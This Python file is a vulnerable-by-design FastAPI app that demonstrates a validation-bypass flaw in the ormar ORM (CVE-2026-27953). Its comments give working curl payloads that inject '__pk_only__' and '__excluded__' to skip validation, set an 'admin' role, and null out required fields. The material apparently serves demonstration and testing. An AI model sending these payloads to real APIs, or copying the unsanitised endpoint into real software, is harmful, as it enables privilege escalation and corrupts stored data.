Vulnerable code sample

#
# This code demonstrates the vulnerability CVE-2026-27953 in ormar <= 0.23.0.
#
# To run this example:
# 1. Install the required packages with a vulnerable ormar version:
#    pip install "ormar<=0.23.0" fastapi "uvicorn[standard]" aiosqlite pydantic
#
# 2. Save the code as a Python file (e.g., vulnerable_app.py).
#
# 3. Run the application from your terminal:
#    uvicorn vulnerable_app:app --reload
#
# 4. Use a tool like `curl` to interact with the API and demonstrate the vulnerability.
#
# --- HOW TO TEST THE VULNERABILITY ---
#
# The `User` model has a Pydantic `EmailStr` validator on the 'email' field.
#
# 1. A NORMAL, INVALID REQUEST (This will correctly fail validation):
#    curl -X POST "http://127.0.0.1:8000/users/" \
#    -H "Content-Type: application/json" \
#    -d '{"name": "testuser", "email": "not-a-valid-email"}'
#
#    Response will be a 422 Unprocessable Entity error.
#
# 2. VULNERABLE PAYLOAD: BYPASS VALIDATION with __pk_only__
#    Inject `__pk_only__: true` to bypass all Pydantic validation.
#    The invalid email will be saved directly to the database.
#
#    curl -X POST "http://127.0.0.1:8000/users/" \
#    -H "Content-Type: application/json" \
#    -d '{"__pk_only__": true, "name": "attacker", "email": "not-a-valid-email", "role": "admin"}'
#
#    Response will be a 200 OK, showing the data was "created".
#
# 3. VULNERABLE PAYLOAD: NULLIFY FIELDS with __excluded__
#    Inject `__excluded__` to selectively set fields to NULL, even if they are required.
#
#    curl -X POST "http://127.0.0.1:8000/users/" \
#    -H "Content-Type: application/json" \
#    -d '{"__excluded__": ["email"], "name": "user_with_null_email", "email": "ignored@example.com"}'
#
#    Response will be a 200 OK.
#
# 4. VERIFY THE CORRUPTED DATA
#    Check the users created in steps 2 and 3.
#
#    curl -X GET "http://127.0.0.1:8000/users/2"
#    -> You will see the user with "email": "not-a-valid-email" and "role": "admin".
#
#    curl -X GET "http://127.0.0.1:8000/users/3"
#    -> You will see the user with "email": null.
#

import databases
import ormar
import pydantic
import sqlalchemy
import uvicorn
from fastapi import FastAPI

# --- Database Setup ---
database = databases.Database("sqlite:///db.sqlite")
metadata = sqlalchemy.MetaData()


class BaseMeta(ormar.ModelMeta):
    metadata = metadata
    database = database


# --- Vulnerable Ormar Model ---
# This model uses Pydantic's EmailStr for validation, which will be bypassed.
class User(ormar.Model):
    class Meta(BaseMeta):
        tablename = "users"

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=100)
    email: pydantic.EmailStr = ormar.String(max_length=128)
    role: str = ormar.String(max_length=50, default="user")


# --- FastAPI Application Setup ---
app = FastAPI()
app.state.database = database


@app.on_event("startup")
async def startup() -> None:
    database_ = app.state.database
    if not database_.is_connected:
        await database_.connect()
    # Create the tables
    engine = sqlalchemy.create_engine(str(database.url))
    metadata.create_all(engine)


@app.on_event("shutdown")
async def shutdown() -> None:
    database_ = app.state.database
    if database_.is_connected:
        await database_.disconnect()


# --- Vulnerable API Endpoint ---
# The vulnerability lies here. By using `user: User` as the Pydantic body,
# FastAPI passes the JSON payload directly to the ormar model's constructor.
# In vulnerable versions, the constructor does not properly sanitize special
# parameters like `__pk_only__` and `__excluded__`, leading to a validation bypass.
@app.post("/users/", response_model=User)
async def create_user(user: User):
    # The 'user' object is already constructed with validation bypassed.
    # Calling .save() persists the unvalidated, potentially malicious data.
    await user.save()
    return user


# --- Helper Endpoint to Verify Data ---
@app.get("/users/{user_id}", response_model=User)
async def get_user(user_id: int):
    # This endpoint allows us to see the corrupted data in the database.
    return await User.objects.get(pk=user_id)


if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)